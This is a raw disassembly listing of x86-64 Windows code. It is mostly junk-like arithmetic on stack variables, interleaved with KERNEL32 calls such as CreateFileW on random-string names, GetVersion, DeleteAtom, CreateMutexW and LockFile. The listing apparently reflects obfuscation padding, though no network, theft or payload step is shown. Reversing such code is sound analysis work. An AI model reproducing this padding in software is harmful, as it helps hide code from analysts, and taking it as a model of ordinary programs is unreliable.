mov dword [rsp + 0x7338], eax
lea rax, [rsp + 0x7a7c]
mov qword [rsp + 0x15fa8], rax
mov r9d, 0x1466
xor r8d, r8d
lea rdx, [rsp + 0x15f20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa9cc], eax
mov rax, qword [rsp + 0x13ad8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15830]
mov qword [rsp + 0x15fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15fb0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13ad0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
movzx eax, byte [rsp + 0x73b]
movzx ecx, byte [rsp + 0x3bb]
sar eax, cl
mov byte [0x1403535cb], al
movzx eax, word [0x140362e3c]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b64], ax
lea rax, [rsp + 0xadbc]
mov qword [rsp + 0x15fb8], rax
mov rax, qword [rsp + 0x13f98]
mov rcx, qword [rsp + 0x14970]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15aa8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae7c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.6ylPALzvrRHVvdF
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15fc0], rax
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0x15418]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6fe]
and eax, ecx
mov byte [rsp + 0x72d], al
movzx eax, word [rsp + 0x14dc]
mov word [rsp + 0x2da0], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x3535
mov r8d, 0x2d08
mov edx, 0x13
mov rcx, qword [rsp + 0x140d8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xaef4], eax
movzx eax, byte [rsp + 0x290]
movzx ecx, byte [rsp + 0x6e3]
and eax, ecx
mov rcx, qword [rsp + 0x14180]
mov byte [rcx], al
mov rax, qword [rsp + 0x145c0]
mov ecx, dword [rsp + 0xaa0c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b00]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140363e80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x63a0]
mov dword [rsp + 0xb0d4], eax
mov rax, qword [rsp + 0x13dd8]
mov rcx, qword [rsp + 0x14448]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaf5c], eax
lea rax, [0x14035cc7c]
mov qword [rsp + 0x15fc8], rax
mov rax, qword [rsp + 0x13678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x14550]
mov byte [rcx], al
mov rax, qword [rsp + 0x15988]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14fb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1308], ax
mov rax, qword [rsp + 0x15ac8]
mov rcx, qword [rsp + 0x13680]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8798], eax
mov rax, qword [rsp + 0x13938]
mov rcx, qword [rsp + 0x14b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa764], eax
mov rax, qword [rsp + 0x140b0]
mov eax, dword [rax]
mov dword [rsp + 0xb0d8], eax
mov eax, dword [rsp + 0xae8c]
mov dword [0x14036405c], eax
mov rax, qword [rsp + 0x15c80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14718]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29c0], ax
mov rax, qword [rsp + 0x140a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x369]
shl eax, cl
mov rcx, qword [rsp + 0x15270]
mov byte [rcx], al
movsx eax, word [rsp + 0x2c4c]
mov rcx, qword [rsp + 0x13a98]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1dbc], ax
mov rax, qword [rsp + 0x134f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x712]
and eax, ecx
mov rcx, qword [rsp + 0x14f00]
mov byte [rcx], al
mov rax, qword [0x140363dc8]
mov eax, dword [rax]
mov dword [rsp + 0xb0dc], eax
mov rax, qword [rsp + 0x14350]
mov ecx, dword [rsp + 0x8d8c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15ab0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2af0]
or eax, ecx
mov rcx, qword [rsp + 0x14648]
mov word [rcx], ax
mov rax, qword [rsp + 0x14788]
movzx eax, byte [rax]
mov byte [rsp + 0x741], al
mov rax, qword [rsp + 0x15c90]
mov rcx, qword [rsp + 0x141a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13aa8]
mov rcx, qword [0x140363ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x138d0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2bc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2984], ax
lea rcx, [rsp + 0x41f58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fb4], eax
mov rax, qword [rsp + 0x15980]
mov ecx, dword [rsp + 0x6ae4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb0bc], eax
lea rax, [0x140362c04]
mov qword [rsp + 0x15fd0], rax
movzx eax, byte [rsp + 0x6d3]
mov rcx, qword [rsp + 0x14318]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c3], al
mov eax, dword [rsp + 0x7410]
mov ecx, dword [rsp + 0x8508]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15f48]
mov dword [rcx], eax
lea rax, [0x140363fdc]
mov qword [rsp + 0x15fd8], rax
mov rax, qword [rsp + 0x15f18]
mov ecx, dword [rsp + 0xae58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14670]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144c0]
mov rcx, qword [rsp + 0x13b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14035cc48], eax
mov rax, qword [rsp + 0x13c60]
mov eax, dword [rax]
mov dword [rsp + 0xb0e0], eax
movsx eax, word [rsp + 0x169c]
movsx ecx, word [rsp + 0x197c]
sar eax, cl
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
mov r9d, 0x1d4d
xor r8d, r8d
lea rdx, [rsp + 0x13580]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad0c], eax
movsx eax, byte [rsp + 0x6ee]
mov rcx, qword [0x140363c58]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x149a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2af0]
mov rcx, qword [rsp + 0x14b90]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1328], ax
movzx eax, byte [rsp + 0x740]
movzx ecx, byte [rsp + 0x733]
and eax, ecx
mov rcx, qword [rsp + 0x15260]
mov byte [rcx], al
lea rax, [0x140363fd4]
mov qword [rsp + 0x15fe0], rax
mov eax, dword [rsp + 0x7dac]
mov ecx, dword [rsp + 0x81a0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e10]
mov dword [rcx], eax
lea rdx, [rsp + 0x45e00]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb0e4], eax
movzx eax, word [rsp + 0x2ac4]
movzx ecx, word [rsp + 0x2ae4]
sub eax, ecx
mov rcx, qword [rsp + 0x154a0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaff8], eax
lea rax, [0x14035e533]
mov qword [0x140364068], rax
lea rax, [rsp + 0x9f00]
mov qword [rsp + 0x15fe8], rax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0x8b3c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13ed8]
mov dword [rcx], eax
lea rax, [rsp + 0xb084]
mov qword [rsp + 0x15ff0], rax
mov rax, qword [0x140363c08]
mov rcx, qword [rsp + 0x153c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15200]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ce8], ax
mov rax, qword [rsp + 0x14920]
movzx eax, byte [rax]
mov byte [rsp + 0x742], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.XIdprLyPlho4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15ff8], rax
movzx eax, word [rsp + 0x251c]
movzx ecx, word [0x1403630b4]
and eax, ecx
mov rcx, qword [rsp + 0x14d08]
mov word [rcx], ax
mov eax, dword [rsp + 0xab90]
mov ecx, dword [rsp + 0x67e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80ac], eax
lea rax, [rsp + 0x9114]
mov qword [rsp + 0x16000], rax
movsx eax, byte [rsp + 0x6bf]
movsx ecx, byte [0x14035e48f]
sub eax, ecx
mov byte [0x14035e4f6], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae84], eax
movsx eax, word [rsp + 0x2c88]
mov rcx, qword [rsp + 0x14518]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a74], ax
movzx eax, word [rsp + 0x2c58]
mov rcx, qword [rsp + 0x15398]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e30], ax
mov rax, qword [0x140363b68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44a]
add eax, ecx
mov byte [rsp + 0x723], al
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x13b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6cb0], eax
xor r9d, r9d
lea r8, [rsp + 0x12f98]
mov rdx, qword [rsp + 0x14818]
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7c0], eax
lea rax, [rsp + 0x6534]
mov qword [rsp + 0x16008], rax
mov rax, qword [rsp + 0x13f20]
mov eax, dword [rax]
mov ecx, dword [0x14035cc84]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf20], eax
lea rax, [rsp + 0x7c00]
mov qword [rsp + 0x16010], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb0e8], eax
mov rax, qword [0x140363c00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xae3c]
sar eax, cl
mov rcx, qword [rsp + 0x14c10]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx eax, byte [rsp + 0x704]
mov rcx, qword [rsp + 0x15878]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x69f], al
lea rax, [rsp + 0x2cc4]
mov qword [0x140364070], rax
lea rax, [rsp + 0xae20]
mov qword [rsp + 0x16018], rax
mov rax, qword [rsp + 0x15450]
mov rcx, qword [rsp + 0x13d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa3e0], eax
mov rax, qword [rsp + 0x13f48]
mov eax, dword [rax]
mov dword [rsp + 0xb0ec], eax
mov rax, qword [rsp + 0x156b8]
mov rcx, qword [rsp + 0x13248]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6960], eax
movzx eax, word [0x14035cc38]
mov rcx, qword [rsp + 0x15b08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17d4], ax
lea rax, [rsp + 0x119]
mov qword [rsp + 0x16020], rax
mov rax, qword [rsp + 0x157a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c70]
add eax, ecx
mov word [rsp + 0x2a28], ax
lea rax, [0x1403535ba]
mov qword [rsp + 0x16028], rax
mov eax, dword [rsp + 0xaa08]
mov ecx, dword [rsp + 0xaf08]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363ce8]
mov dword [rcx], eax
lea rdx, [rsp + 0x45d90]
mov rcx, qword [rsp + 0x14c50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa94c], eax
mov rax, qword [0x140363c70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaff0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x135b0]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16030], rax
mov rax, qword [rsp + 0x14f98]
movzx eax, word [rax]
mov word [rsp + 0x2da4], ax
movzx eax, byte [rsp + 0x71b]
movzx ecx, byte [rsp + 0x256]
and eax, ecx
mov byte [rsp + 0x705], al
mov eax, dword [rsp + 0xa850]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9b4], eax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xae88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b50], eax
mov rax, qword [rsp + 0x136c8]
mov ecx, dword [rsp + 0xa8c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xae04], eax
mov rax, qword [0x140363ac8]
mov eax, dword [rax]
mov dword [rsp + 0xb0f0], eax
movzx eax, byte [rsp + 0x118]
mov rcx, qword [rsp + 0x13cb8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x158d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14e20]
movzx eax, word [rax]
mov word [0x1403630fc], ax
mov rax, qword [0x140363978]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xada8]
shr eax, cl
mov dword [rsp + 0xaaac], eax
mov eax, dword [rsp + 0x7d60]
mov rcx, qword [rsp + 0x137a0]
mov qword [rsp + 0x16038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16038]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8718], eax
mov rax, qword [rsp + 0x13bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x65d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x150b0]
mov eax, dword [rax]
mov dword [rsp + 0xb0f4], eax
movzx ecx, word [rsp + 0x2cc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2acc], ax
mov rax, qword [rsp + 0x146c8]
mov ecx, dword [rsp + 0xabc8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x14f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ab8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14e70]
mov byte [rcx], al
lea rax, [rsp + 0x2a74]
mov qword [rsp + 0x16040], rax
movzx eax, word [rsp + 0x2d98]
mov rcx, qword [rsp + 0x132f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29d0], ax
lea rax, [rsp + 0x6fd]
mov qword [0x140364078], rax
lea rax, [0x14035cbd8]
mov qword [rsp + 0x16048], rax
mov rax, qword [rsp + 0x13fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a24]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e90]
mov dword [rcx], eax
lea rax, [rsp + 0x730]
mov qword [rsp + 0x16050], rax
movzx eax, word [rsp + 0x2da4]
mov rcx, qword [0x140363fb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f18]
mov rcx, qword [rsp + 0x15960]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15380]
mov dword [rcx], eax
lea rcx, [0x14033140c]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ce8], ax
mov rax, qword [rsp + 0x15dd8]
mov eax, dword [rax]
mov dword [rsp + 0xb0f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xb060]
mov ecx, dword [str.__M6_f]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf80], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf10], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
mov eax, dword [rsp + 0x8670]
mov ecx, dword [rsp + 0x8bb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7780], eax
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
movzx ecx, word [0x140362e64]
and eax, ecx
mov rcx, qword [0x140363f30]
mov word [rcx], ax
movzx eax, byte [rsp + 0x309]
mov rcx, qword [rsp + 0x14018]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x154e8]
mov byte [rcx], al
mov eax, dword [rsp + 0xab30]
movzx ecx, al
mov eax, dword [rsp + 0xace0]
shl eax, cl
mov rcx, qword [rsp + 0x13b48]
mov dword [rcx], eax
mov eax, dword [0x140363f04]
mov dword [rsp + 0xb0fc], eax
movzx ecx, word [rsp + 0x2d94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2988], ax
movsx eax, word [rsp + 0x2c50]
mov rcx, qword [rsp + 0x13e80]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2a2c], ax
lea rax, [rsp + 0x6c2]
mov qword [rsp + 0x16058], rax
movzx eax, word [rsp + 0x1308]
mov rcx, qword [0x140363b88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29a4], ax
movzx eax, byte [rsp + 0x42a]
mov rcx, qword [rsp + 0x151a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15de8]
mov byte [rcx], al
lea rax, [rsp + 0xabfc]
mov qword [rsp + 0x16060], rax
lea rax, [rsp + 0xaea8]
mov qword [0x140364080], rax
mov rax, qword [rsp + 0x14050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x86a8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, [0x140331410]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16068], rax
lea rax, [rsp + 0xaf08]
mov qword [rsp + 0x16070], rax
mov rax, qword [rsp + 0x15e78]
mov ecx, dword [0x140363a70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x955c], eax
mov rax, qword [rsp + 0x158f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x135e8]
mov word [rcx], ax
lea rax, [rsp + 0x705]
mov qword [rsp + 0x16078], rax
mov eax, dword [0x140363a60]
mov ecx, dword [rsp + 0xaf20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab74], eax
lea rax, [rsp + 0xadb4]
mov qword [rsp + 0x16080], rax
mov rax, qword [rsp + 0x13f98]
mov ecx, dword [rsp + 0x8a30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab4c], eax
mov rax, qword [0x140363998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa998]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363bd8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaac4], eax
lea rax, [rsp + 0x2af4]
mov qword [rsp + 0x16088], rax
movzx ecx, word [rsp + 0x2b7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2d18], ax
mov rax, qword [rsp + 0x15b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
sub eax, ecx
mov byte [rsp + 0x23c], al
movsx eax, byte [rsp + 0x1f6]
movsx ecx, byte [0x14035e4a7]
or eax, ecx
mov byte [rsp + 0x6f9], al
lea rax, [rsp + 0x2a90]
mov qword [rsp + 0x16090], rax
mov dword [rsp + 0x20], 0xa6b
mov r9d, 0x3a12
mov r8d, 0x6b2
mov edx, 0x3ecf
mov rcx, qword [rsp + 0x13c70]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb100], eax
mov rax, qword [rsp + 0x15ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15ec0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaf30]
mov ecx, dword [rsp + 0x7ea4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ad8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movzx eax, byte [rsp + 0x290]
mov rcx, qword [rsp + 0x14f78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x134c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b00]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13758]
mov word [rcx], ax
lea rax, [rsp + 0xaad4]
mov qword [0x140364088], rax
lea rax, [rsp + 0xaba4]
mov qword [rsp + 0x16098], rax
mov eax, dword [rsp + 0x8d2c]
movzx ecx, al
mov eax, dword [rsp + 0xabe4]
shl eax, cl
mov dword [rsp + 0xb054], eax
mov eax, dword [0x140363f10]
mov dword [rsp + 0xb104], eax
movzx eax, byte [rsp + 0xf6]
mov rcx, qword [rsp + 0x15a88]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x703], al
movzx eax, word [rsp + 0x2a30]
mov rcx, qword [rsp + 0x14ee8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14778]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b38]
mov eax, dword [rax]
mov dword [rsp + 0xb108], eax
mov rax, qword [rsp + 0x15700]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa980]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d88]
mov dword [rcx], eax
lea rax, [rsp + 0xaed0]
mov qword [rsp + 0x160a0], rax
mov rax, qword [rsp + 0x136e0]
mov rcx, qword [rsp + 0x152d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140363f04], eax
mov r9d, 2
lea r8, [rsp + 0x13e28]
mov rdx, qword [rsp + 0x150f0]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaea4], eax
mov rax, qword [rsp + 0x157b8]
mov rcx, qword [rsp + 0x14ce8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x149f0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2bd0]
movsx ecx, word [rsp + 0x2aa0]
sub eax, ecx
mov rcx, qword [rsp + 0x15748]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6bf]
movsx ecx, byte [rsp + 0x5e1]
sub eax, ecx
mov byte [rsp + 0x5d8], al
mov rax, qword [rsp + 0x150f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14920]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15eb8]
mov byte [rcx], al
lea rax, [0x140362fd4]
mov qword [rsp + 0x160a8], rax
mov rax, qword [rsp + 0x13ba0]
mov rcx, qword [rsp + 0x15c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac94], eax
mov rax, qword [rsp + 0x15cf8]
mov eax, dword [rax]
mov dword [rsp + 0xb10c], eax
mov rax, qword [rsp + 0x154f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14558]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c80], ax
lea rax, [rsp + 0x6cb]
mov qword [0x140364090], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.NYuyirwbAt0xjoiaSyOs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x160b0], rax
mov rax, qword [rsp + 0x14bd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16060]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaf4c]
movzx ecx, al
mov eax, dword [rsp + 0xa9e4]
sar eax, cl
mov dword [rsp + 0xa684], eax
mov rax, qword [rsp + 0x136f8]
mov rcx, qword [rsp + 0x152f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x147d0]
mov dword [rcx], eax
lea rax, [rsp + 0x7830]
mov qword [rsp + 0x160b8], rax
mov rax, qword [rsp + 0x15100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15068]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14d40]
mov byte [rcx], al
mov rax, qword [rsp + 0x14418]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cbc]
and eax, ecx
mov rcx, qword [rsp + 0x145f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13df0]
mov eax, dword [rax]
mov dword [rsp + 0xb110], eax
lea rdx, [rsp + 0x45fc0]
mov rcx, qword [rsp + 0x147f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa958], eax
lea rdx, [rsp + 0x157c0]
mov rcx, qword [rsp + 0x15280]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb114], eax
mov rax, qword [0x140363ac8]
mov ecx, dword [rsp + 0x6650]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa314], eax
movsx eax, word [rsp + 0x1770]
mov rcx, qword [rsp + 0x15e90]
movsx ecx, word [rcx]
imul eax, ecx
mov word [0x140353b08], ax
movzx ecx, word [rsp + 0x2a24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b14], ax
lea rax, [rsp + 0x6c7]
mov qword [rsp + 0x160c0], rax
mov rax, qword [rsp + 0x14588]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14aa0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14630]
mov byte [rcx], al
mov rax, qword [rsp + 0x15cb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15b30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25a4], ax
lea rax, [rsp + 0xadb4]
mov qword [rsp + 0x160c8], rax
mov rax, qword [rsp + 0x13a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa764]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac3c], eax
lea rax, [rsp + 0xb044]
mov qword [rsp + 0x160d0], rax
mov rax, qword [rsp + 0x14370]
mov ecx, dword [rsp + 0x9d18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7108]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9374], eax
movzx eax, word [rsp + 0x2c54]
movzx ecx, word [rsp + 0x2ca8]
sub eax, ecx
mov rcx, qword [rsp + 0x13758]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb118], eax
lea rax, [rsp + 0x58b]
mov qword [0x140364098], rax
mov rax, qword [rsp + 0x13248]
mov rcx, qword [rsp + 0x15200]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
